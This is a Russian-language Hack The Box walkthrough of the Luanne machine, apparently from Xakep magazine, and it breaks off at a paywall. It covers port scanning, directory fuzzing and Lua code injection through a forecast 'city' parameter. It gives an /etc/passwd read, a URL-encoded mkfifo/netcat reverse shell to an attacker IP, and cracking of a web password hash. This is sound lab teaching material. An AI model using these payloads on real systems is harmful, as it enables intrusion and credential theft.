Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
IP-адрес машины — 10.10.10.218, сразу добавляем его в /
для удобства.
10.10.10.218 luanne.htb
Начинаем со сканирования портов. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем на обнаруженных портах — сканирование со скриптами.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
В результате сканирования мы узнаем о трех службах:
- порт 22 — SSH;
- порт 80 — веб‑сервер nginx 1.19.0;
- порт 9001 — асинхронный сокет‑сервер Medusa 1.12.
На SSH нам ловить нечего, так как единственное, что там можно сделать, — это брутфорсить учетные данные. Вместо этого попробуем поискать точку входа на сайте. Однако и на 80-м, и на 9001-м портах нас ожидает HTTP-авторизация, в данном случае — Basic. Поскольку никаких учетных данных у нас вначале нет, это серьезная проблема.
Еще Nmap показал нам наличие файла robots.txt на сервере nginx. Этот файл нужен, чтобы ограничить обход сайта поисковыми роботами (Google, Яндекс и прочими). Иногда в нем можно почерпнуть идеи для развития атаки.
Перебор каталогов
Файл robots.txt состоит из набора инструкций, при помощи которых можно задать файлы, страницы или каталоги сайта, которые не будут индексироваться поисковыми движками. К примеру, сделать так, чтобы в результатах поисковых систем не появлялись страницы авторизации администраторов сайта, файлы или персональная информация со страниц пользователей. Но у любой медали две стороны: злоумышленники и пентестеры, конечно же, сразу заглядывают в этот файл, чтобы узнать, что прячут админы.
Наш случай не исключение. В robots.txt есть директория weather
. Напрямую ее прочесть нельзя, но если сделать перебор по словарю, то мы можем наткнуться на что‑то интересное. Для сканирования я использовал утилиту ffuf. В качестве параметров ей нужно передать список для перебора (опция -w
) и URL (опция -u
). Место в URL, куда будут подставляться слова из списка, отмечается словом FUZZ
.
ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://luanne.htb/weather/FUZZ/
Мы быстро находим еще один каталог, который вернул код 200, а это значит, что он нам доступен.
Точка входа
Находим каталог forecast
и пробуем зайти туда через браузер. Страница пуста, но если посмотреть исходник ответа, то увидим подсказку.
Требуется указать параметр city
, одно из значений которого может быть list
. Делаем соответствующий запрос и получаем список городов в формате JSON.
Обычно при тестировании веб‑приложений стоит определить три реакции приложения на пользовательский запрос: успешно обработанный запрос, неудачно обработанный запрос и ошибка при обработке запроса. Давай выполним три запроса:
- запрос валидного города (город из списка);
- запрос невалидного города (город, которого нет в списке);
- запрос, который вызывает ошибку (использует разные служебные символы, в данном случае — кавычку).
В последнем случае видим ошибку от интерпретатора языка Lua: attempt to call a nil value. Это значит, что наш ввод был подставлен в скрипт без предварительной чистки, а это открывает возможность для инъекции кода.
Закрепление
Lua — скриптовый язык, а значит, нефильтрованные вставки в код очень опасны. Можно вместо значения передать закрывающую кавычку и любой код на Lua — он будет выполнен интерпретатором как родной.
Давай попробуем подобным образом закрыть строку и добавить функцию execute
из модуля os — она выполняет любую команду операционной системы. Дальше добавим объявление переменной и открывающую кавычку, чтобы закрывающая кавычка, идущая в коде дальше, не осталась без пары и не привела к ошибке исполнения. Вот так, к примеру, можно прочитать файл /
:
') os.execute("cat /etc/passwd") x=('
Полный запрос, сделанный командой сurl, будет выглядеть следующим образом:
curl "http://luanne.htb/weather/forecast/?city=London')%20os.execute("cat%20/etc/passwd")%20x%3D('"
Так как команды успешно выполняются, мы можем просто выполнить готовый бэкшелл и получить возможность управлять машиной.
os.execute("rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc [ip] [port] >/tmp/r")
Этот код должен вызвать коннект на указанный адрес, нужно лишь вписать IP и порт. Но прежде чем запускать эту команду, создадим листенер, который будет принимать это соединение. Я советую использовать rlwrap, это удобная оболочка, которая в числе прочего ведет историю команд. В качестве листенера используем известный netcat.
apt install rlwrap
rlwrap nc -lvp [port]
Закодируем нашу нагрузку в URL Encode и выполним запрос. Почти моментально в консоли netcat получаем сообщение об обратном подключении.
curl "http://luanne.htb/weather/forecast/?city=London')%20os%2Eexecute%28%22rm%20%2Ftmp%2Fr%3Bmkfifo%20%2Ftmp%2Fr%3Bcat%20%2Ftmp%2Fr%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E108%204321%20%3E%2Ftmp%2Fr%22%29%20x%3D('"
Команда id
помогает нам узнать, что мы работаем в контексте учетной записи службы _httpd
.
Продвижение
Сначала немного проапгрейдим свой шелл, так как нам может пригодиться оболочка TTY. Ее можно получить с помощью имеющегося в целевой системе интерпретатора Python 3.
python3 -c 'import pty; pty.spawn("/bin/sh")'
/bin/bash
Доступ к хосту есть, но для дальнейшего продвижения нам нужны учетные данные пользователей. Не беда — нужно лишь знать места, где их искать. Одно из таких мест — серверная часть сайта. Почти у всех сайтов есть источник учетных данных, в большинстве случаев это БД. То есть атакующий получает доступ к базе данных и извлекает из нее имена пользователей и хеши их паролей.
В нашем случае используется аутентификация HTTP Basic, а это значит, что какие‑то учетные данные получить все же можно. Сначала проверим наличие файла .
в рабочей директории веб‑сервера, этот файл содержит имя и хеш пароля пользователя.
Сохраним хеш в файл и переберем его, к примеру, с помощью John The Ripper. В параметрах я указываю словарь с паролями и файл с хешем. «Джон» сам определит алгоритм, выполнит перебор и в случае успеха вернет нам пароль.
john --wordlist=./tools/rockyou.txt web.hash
С этим паролем не получается авторизоваться как пользователь системы, поэтому продолжаем искать. Я подметил, что домашняя пользовательская директория /
доступна для чтения группе users
, а для локального хоста прослушиваются TCP-порты 3000 и 3001 (это можно узнать командой netstat
).
Чтобы определить, за что отвечают эти порты, подключимся к каждому с помощью netcat и посмотрим, что нам вернут.
nc 127.0.0.1 3000
nc 127.0.0.1 3001
Как видишь, эти порты относятся к веб‑серверу bozotic. Проверим, что он нам даст посмотреть в корневом каталоге. Ответ на обоих портах одинаковый — требуется HTTP-авторизация (код 401).
curl 127.0.0.1:3000
curl 127.0.0.1:3001
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»